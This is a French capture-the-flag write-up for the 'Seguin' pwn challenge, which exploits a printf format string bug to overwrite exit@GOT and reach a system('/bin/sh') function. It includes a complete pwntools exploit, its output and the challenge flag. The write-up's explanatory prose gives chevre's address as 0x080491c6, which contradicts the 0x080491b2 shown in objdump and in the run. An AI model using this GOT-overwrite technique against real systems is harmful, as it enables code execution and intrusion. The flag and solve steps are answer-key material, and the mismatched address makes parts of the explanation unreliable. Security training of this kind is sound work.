Solution de TounSec pour Seguin

pwn x86/x64

4 novembre 2025

Reconnaissance

Informations sur le binaire

$ file seguin
seguin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=f845ef5d12dec4dc33f8be776208c5af5b1b52c4, for GNU/Linux 3.2.0, not stripped
  • Architecture i386 (32-bit)
  • Dynamiquement linké
  • Not stripped -> symboles disponibles

Protections

$ checksec seguin
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x8048000)
    Stripped:   No
Protection Etat Impact
RELRO Partial GOT writable
Stack Canary Non Pas de canary à bypass
NX Oui Stack non exécutable ; pas de shellcode sur la stack
PIE Non Adresses fixes et prédictibles

Analyse Statique

Décompilation du main()

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char s[32]; // [esp+0h] [ebp-28h] BYREF
  int *p_argc; // [esp+20h] [ebp-8h]
  
  p_argc = &argc;
  puts("************************************");
  puts("Service d'adoption d'animaux");
  puts("************************************");
  printf("Merci d' indiquer le nom de l'animal que vous etes venus chercher :\n>>> ");
  fflush(stdout);
  
  fgets(s, 32, stdin);        
  
  printf("Vouz avez demandé ");
  printf(s);                  // Aucun format spécifier = Format String
  
  puts("Nous vous tiendrons au courant");
  exit(0);                    
}

Fonction shell : chevre()

int chevre()
{
  return system("/bin/sh");
}

Récupération de l’adresse :

objdump -d seguin | grep "<chevre>"
080491b2 <chevre>:

ou

(gdb) i func
...
0x080491b2  chevre
...

Architecture du programme

Architecture du programme

Analyse Dynamique

Exécution normale

$ ./seguin 
************************************
** Service d'adoption des bovidés **
************************************
Merci d' indiquer le nom de l'animal que vous etes venus chercher :
>>> test
Vouz avez demandé test
Nous vous tiendrons au courant

Test format string

>>> %p
Vouz avez demandé 0x20
Nous vous tiendrons au courant

>>> %p-%p-%p
Vouz avez demandé 0x20-0xf7f02620-0x80491f4
Nous vous tiendrons au courant

Nous avons la confirmation qu’il est bien question d’une vulnérabilité de type Format String dans printf()

Analyse de la GOT (Global Offset Table)

pwndbg> got
[0x804c00c] printf@GLIBC_2.0 -> 0xf7ddcf10 (printf) ◂— call 0xf7ef83ed
[0x804c010] fflush@GLIBC_2.0 -> 0xf7dfc0a0 (fflush) ◂— push ebp
[0x804c014] fgets@GLIBC_2.0 -> 0xf7dfc350 (fgets) ◂— push ebp
[0x804c018] puts@GLIBC_2.0 -> 0xf7dfde80 (puts) ◂— push ebp
[0x804c01c] system@GLIBC_2.0 -> 0x8049076 (system@plt+6) ◂— push 0x20 /* 'h ' */    (non résolu [lazy bind])
[0x804c020] exit@GLIBC_2.0 -> 0x8049086 (exit@plt+6) ◂— push 0x28 /* 'h(' */        (non résolu [lazy bind]) 
[0x804c024] __libc_start_main@GLIBC_2.0 -> 0xf7dac310 (__libc_start_main) ◂— push ebp

Format String

Fonctionnement normal de printf()

printf("Hello %s, vous avez %d ans", name, age);

┌─────────────────────────────────────────────────────────┐
  Stack lors de l'appel printf()                         
├─────────────────────────────────────────────────────────┤
  ESP  [pointeur format string]                         
        [pointeur name]          %s lit ici             
        [valeur age]             %d lit ici             
        ...                                              
└─────────────────────────────────────────────────────────┘

Vulnérabilité

char s[32];
fgets(s, 32, stdin);
printf(s);

printf() va lire la stack

Le format format specifier: %n

int count;
printf("AAAA%n", &count);
// count = 4

En exploitation :

payload = b"\x20\xc0\x04\x08"
            ^^^^^^^^^^^^^^^^
           Adresse @ offset 4
payload += b"AAAA%4$n";
                 ^^^^
               Ecrit ici

Offset

Trouver le bon offset

from pwn import *

p = process("./seguin")
payload = b"%p-" * 16
p.sendlineafter(b">>>", payload)
output = p.recvall(2)
print(output)

Résultat

$ python test.py
[+] Starting local process './seguin': pid 55427
[+] Receiving all data: Done (154B)
[*] Process './seguin' stopped with exit code 0 (pid 55427)
b' Vouz avez demand\xc3\xa9 0x20-0xf7f95620-0x80491f4-0x252d7025-0x70252d70-0x2d70252d-...Nous vous tiendrons au courant\n'
                                                      ^^^^^^^^^^ ^^^^^^^^^^ ^^^^^^^^^^ ^^^
                                                                   Buffer

Confirmer l’offset

>>> from pwn import *
>>> p32(0x252d7025)
b'%p-%'
>>> p32(0x70252d70)
b'p-%p-'
>>> p32(0x2d70252d)
b'-%p-'

Stack lors de printf(s)

Stack lors de printf(s)

Exploitation

GOT Overwrite

Got Overwrite

call exit(0) avant exploitation :

  1. call exit@PLT
  2. jmp [exit@GOT] <- Lit l’adresse dans la GOT
  3. Exécute la fonction à cette adresse

Après exploitation :

  1. call exit@PLT
  2. jmp [exit@GOT] <- Lit 0x080491c6 (chevre)
  3. Exécute chevre() -> system("/bin/sh")

Pourquoi écrire en 2 fois

  • Problème : On veut écrire 0x080491c6 (4 bytes)
  • Solution : Utiliser %hn pour écrire 2 bytes à la fois

Décomposition :

  • Lower (bytes de poids faible) : 0x91c6 = 37318 en décimal
  • Upper (bytes de poids fort) : 0x0804 = 2052 en décimal

Structure du Payload

Structure du Payload

Process écriture

Process ecriture

Exploit Final

from pwn import *

binary = "./seguin"
context.arch = "i386"
context.binary = elf = ELF(binary, checksec=False)
context.log_level = "info"

p = process(binary)

chevre = elf.sym["chevre"]
exit_got = elf.got["exit"]

log.info(f"chevre(): {hex(chevre)}")
log.info(f"exit@GOT: {hex(exit_got)}")


lower = chevre & 0xFFFF
upper = (chevre >> 16) & 0xFFFF

log.info(f"Lower: {hex(lower)} ({lower})")
log.info(f"Upper: {hex(upper)} ({upper})")

already_printed = 8
padding_lower = ((lower - already_printed) if lower > already_printed else (0x10000 + lower - already_printed))
padding_upper = (upper - lower) if upper > lower else (0x10000 + upper - lower)

log.info(f"Padding lower: {padding_lower}")
log.info(f"Padding upper: {padding_upper}")

payload = flat(
    [
        p32(exit_got),
        p32(exit_got + 2),
        f"%{padding_lower}c".encode(),
        b"%4$hn",
        f"%{padding_upper}c".encode(),
        b"%5$hn",
    ]
)

with open("payload.bin", "wb") as f:
    f.write(payload)
    f.close()

log.info(f"Payload size: {len(payload)}")
print(hexdump(payload))

p.sendlineafter(b">>> ", payload)
p.interactive()
$ python solve.py
[*] chevre(): 0x80491b2
[*] exit@GOT: 0x804c020
[*] Lower: 0x91b2 (37298)
[*] Upper: 0x804 (2052)
[*] Padding lower: 37290
[*] Padding upper: 30290
[*] Payload size: 32
00000000  20 c0 04 08  22 c0 04 08  25 33 37 32  39 30 63 25  │ ···│"···│%372│90c%│
00000010  34 24 68 6e  25 33 30 32  39 30 63 25  35 24 68 6e  │4$hn│%302│90c%│5$hn00000020
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag.txt
FCSC{1a8b4cd78b8dfa2ea2644ade38fcdb7f116a4953ea05d944d6683c6c365c47f6}